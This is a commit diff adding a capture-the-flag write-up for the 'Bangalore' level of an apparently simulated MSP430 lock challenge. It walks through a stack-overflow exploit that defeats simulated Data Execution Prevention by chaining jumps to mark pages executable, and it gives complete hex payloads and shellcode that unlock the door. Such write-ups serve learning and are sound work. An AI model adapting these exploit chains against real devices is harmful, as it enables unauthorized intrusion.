Solve Bangalore
This commit is contained in:
@@ -507,6 +507,134 @@ input field. We then put the address we get into the script, and reliably get
|
|||||||
the solution string.
|
the solution string.
|
||||||
|
|
||||||
|
|
||||||
# Bangalore
|
## Bangalore
|
||||||
|
|
||||||
|
This is the first exercise that incorporates Data Execution Prevention.
|
||||||
|
Fortunately, the program is simple and easy to comprehend.
|
||||||
|
|
||||||
|
We observe that interrupts are now chosen using the status register:
|
||||||
|
|
||||||
|
```
|
||||||
|
mov #0x9100, sr // trigger interrupt 0xef & 0x91 = 0x11
|
||||||
|
call #0x10
|
||||||
|
```
|
||||||
|
|
||||||
|
This implies that if we aim to inject shellcode to unlock the door, the
|
||||||
|
instructions would appear as follows:
|
||||||
|
|
||||||
|
```
|
||||||
|
mov #0xff00, sr // trigger interrupt 0xef & 0xff = 0xef -> unlock door
|
||||||
|
call #0x10
|
||||||
|
```
|
||||||
|
|
||||||
|
Or, in hex representation:
|
||||||
|
|
||||||
|
```
|
||||||
|
324000ffb0121000
|
||||||
|
```
|
||||||
|
|
||||||
|
We also observe that the application is evidently susceptible to code
|
||||||
|
injection, so we promptly devise an attack strategy.
|
||||||
|
|
||||||
|
```
|
||||||
|
offset shell code
|
||||||
|
/ /
|
||||||
|
-------------------------------- -----------------
|
||||||
|
111122223333444455556666777788880040b324000ffb0121000
|
||||||
|
----
|
||||||
|
/
|
||||||
|
return address
|
||||||
|
```
|
||||||
|
|
||||||
|
Unfortunately, when we jump to our injected code, we encounter a segmentation
|
||||||
|
fault because the page (0x40) is read-only. We must find a method to make the
|
||||||
|
page where the injected code resides executable.
|
||||||
|
|
||||||
|
We can jump to the subsequent instruction to push an arbitrary value (such as
|
||||||
|
0x40 for the page where our injected code is located) from the stack into r11:
|
||||||
|
|
||||||
|
```
|
||||||
|
4508: 3b41 pop r11
|
||||||
|
```
|
||||||
|
|
||||||
|
And follow that up with a jump to:
|
||||||
|
|
||||||
|
```
|
||||||
|
44f6: 0f4b mov r11, r15
|
||||||
|
44f8: b012 b444 call #0x44b4 <mark_page_executable>
|
||||||
|
44fc: 1b53 inc r11
|
||||||
|
44fe: 3b90 0001 cmp #0x100, r11
|
||||||
|
```
|
||||||
|
|
||||||
|
However, by doing that, we render the stack executable, and when iterating the
|
||||||
|
loop, we encounter another segmentation fault. To address this issue, we can
|
||||||
|
attempt to position the stack further up (or down visually) so that the
|
||||||
|
injected code lands in page 0x41 instead of 0x40. We can then make pages 0x41
|
||||||
|
and above executable, and our exploit should function without causing
|
||||||
|
additional segmentation faults.
|
||||||
|
|
||||||
|
We now have an attack plan, step 1: Repeat this process 15 times to push the
|
||||||
|
stack downward.
|
||||||
|
|
||||||
|
```
|
||||||
|
10451045104510451045104510451045104510451045104510451045104510451045104510453c44
|
||||||
|
```
|
||||||
|
|
||||||
|
All this does is repeatedly jumping to a return instruction (at 4510), and then
|
||||||
|
jump back to the `login` routine. After repeating this for 15 times, we have
|
||||||
|
moved into the `0x41` area.
|
||||||
|
|
||||||
|
Step 2: Inject code and jump back to beginning of program:
|
||||||
|
|
||||||
|
```
|
||||||
|
call #0x10 program entry point
|
||||||
|
________/ ____/
|
||||||
|
324000ffb0121000deaddeaddeaddead0044
|
||||||
|
-------- ----------------
|
||||||
|
\ \
|
||||||
|
move 0xff, sr padding
|
||||||
|
```
|
||||||
|
|
||||||
|
This string injects the shellcode and then jumps to the original program entry
|
||||||
|
point, which resets the SP to its initial location. With 15 repetitions of step
|
||||||
|
1, the injected code will be situated at `4138`.
|
||||||
|
|
||||||
|
Armed with this knowledge, we can complete our attack; step 3: Make page 0x41
|
||||||
|
executable and jump to the injected code:
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
pad page 41 return to injected code
|
||||||
|
/ / /
|
||||||
|
-------------------------------- ---- ----
|
||||||
|
1111222233334444555566667777888808454100f64400003841
|
||||||
|
---- ----
|
||||||
|
\ \
|
||||||
|
\ jump to `set_up_protection` at `mov r11, r15`
|
||||||
|
\
|
||||||
|
`pop r11`
|
||||||
|
```
|
||||||
|
|
||||||
|
This challenge proved to be tricky for me for two reasons. First, I attempted
|
||||||
|
to push the stack down so that I could make page `0x40` executable, without
|
||||||
|
influencing the stack. However, I was unable to find a method to accomplish
|
||||||
|
that and had to devise the approach of moving in the opposite direction.
|
||||||
|
|
||||||
|
Second, at the conclusion of the application, there is a `reti` instruction:
|
||||||
|
|
||||||
|
```
|
||||||
|
453e: 0013 reti pc
|
||||||
|
```
|
||||||
|
|
||||||
|
In addition to restoring the return address and loading it into the program
|
||||||
|
counter (PC) like a regular `ret`, this instruction also pops another value
|
||||||
|
from the stack to restore the status register (SR). This would be sufficient to
|
||||||
|
devise an attack by restoring `0xff00`, and then jumping to the call at `0x10` (the
|
||||||
|
interrupt address). However, it turns out that the `reti` instruction is not
|
||||||
|
correctly implemented by the simulator (it acts as a `nop`), and as a result,
|
||||||
|
this attack doesn't work.
|
||||||
|
|
||||||
|
|
||||||
|
## Lagos
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user